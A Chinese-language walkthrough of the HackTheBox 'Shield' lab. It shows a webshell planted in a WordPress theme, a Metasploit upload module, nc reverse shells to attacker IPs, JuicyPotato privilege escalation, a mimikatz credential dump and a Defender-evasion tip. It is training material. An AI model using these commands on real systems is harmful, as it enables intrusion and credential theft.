Hackthebox-Shield

0x01 前言

根据 hackthebox 的惯性,我在这里收集了前面的所有密码:

  • Archetype:

    Mssql:M3g4c0rp123

    Administrator:MEGACORP_4dm1n!!

  • Oopsie

    Mysql:M3g3C0rpUs3r!

    ftp:mc@F1l3ZilL4

  • Vaccine

    Zip:741852963

    Web:qwerty789

    postgres:P@s5w0rd!

0x02 过程

信息收集

1

Getshell

看到只有两个端口:80、3306,3306 我尝试了连接,发现不给外链,那入口就应该在 80 端口,打开是一个 iis 默认的页面

2

开 dirbuster 进行目录扫描,发现是一个 wordpress 程序:

3

看到是 wp 中间散发了挺多思路的,首先是使用 wpscan 进行插件、主题漏洞扫描,之后是枚举用户密码。

后来发现 wp 的版本是大于 5.0 的,很多漏洞都不能利用了,尝试密码大法最终使用 P@s5w0rd! 成功登陆了后台:

4

编辑主题:http://10.10.10.29/wordpress/wp-admin/theme-editor.php?file=search.php&theme=twentysixteen

修改了 search.php 的内容为我们的冰蝎 php 马:

5

一句话地址:http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/search.php

6

用冰蝎命令执行没有交互式,有交互式的虚拟终端太卡了。还是上 msf 吧:

1
2
3
4
5
6
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set PASSWORD P@s5w0rd!
msf > set USERNAME admin
msf > set TARGETURI /wordpress
msf > set RHOSTS 10.10.10.29
msf > run

7

使用 msf 的 shell 还是不好用,毕竟是根据 webshell 来建立连接的:

8

还是直接上 nc,使用刚才在冰蝎上传的 nc.exe:

execute -f nc.exe -a"-e cmd.exe 10.10.14.33 1234"

9

提权

win2016 以上估计也就只有烂土豆了,上传了一个,但不是 webshell 版本的,使用官方的方法,写入一个 bat 文件,内容为:

START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111

在反弹 shell 上面执行

echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat

监听端口:

nc -lvp 1111

执行烂土豆:

JuicyPotato.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337

10

官方说要把 JuicyPotato.exe 改名能躲过 Windows Defender 查杀,实验中不改名也可以正常使用。

后面就是获取用户的密码步骤了

上传 mimikatz

1
2
./mimikatz.exe
sekurlsa::logonpasswords

获得用 Sandra 的密码, 估计这个密码在下面的靶机中也能用到

后面尝试了,为什么在 webshell 执行烂土豆的时候会失败,是因为没有加上 CLSID 参数,默认的是会出现 COM -> recv failed with error: 10038 失败的。

因为靶机是 2016 所以在 https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard

找到 2016 的 clsid 就可以了。

11

0x03 总结

1、看到 80 端口必定有很大概率是从 web 入手的,一般扫一下目录就可以了。

2、这次 web 用的是 wp,一开始就先尝试密码会省下很多时间。

3、烂土豆 (JuicyPotato)

使用方法:

**(1) 查看当前用户权限,是否符合要求 **

whoami /priv

如果开启 SeImpersonate 权限,juicypotato 的参数可以使用 -t t

如果开启 SeAssignPrimaryToken 权限,juicypotato 的参数可以使用 -t u

如果均开启,可以选择 -t *

如果均未开启,那么无法提权

(2) 查看 RPC 默认端口是否为 135

如果被修改 (例如为 111),juicypotato 的参数可以使用 -n 111

如果系统禁用了 RPC,并不是一定无法提权,需要满足如下条件:

找到另一系统,能够以当前用户的权限进行远程 RPC 登录,此时 juicypotato 的参数可以使用 -k <ip>

例如 Win7、WIn8 系统,默认配置下,允许 135 端口的入站规则即可进行远程 RPC 登录

添加防火墙规则允许 135 端口入站的命令如下:

netsh advfirewall firewall add rule name="135"protocol=TCP dir=in localport=135 action=allow

也可以选择将防火墙关闭,可参考绕过 UAC 关闭防火墙的代码:

https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp

(3) 根据操作系统选择可用的 CLSID

参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

例如测试系统 Server2012,选择 CLSID 为 {8BC3F05E-D86B-11D0-A075-00C04FB68820}

**(4) 选择一个系统未占用的端口作为监听端口 **

例如,最终参数如下:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

表示开启 SeImpersonate 权限创建进程,监听端口 1111,使用的 CLSID 为 {8BC3F05E-D86B-11D0-A075-00C04FB68820}

4、rlwrap

它是一个用于反弹 shell 的时候,我们通常按上下会出现乱码,使用这个辅助工具就可以正常使用上下减号等操作:

kali 安装:

apt install rlwarp

其他系统可以参照:https://github.com/hanslub42/rlwrap

使用方法:

rlwarp nc -lvnp 1234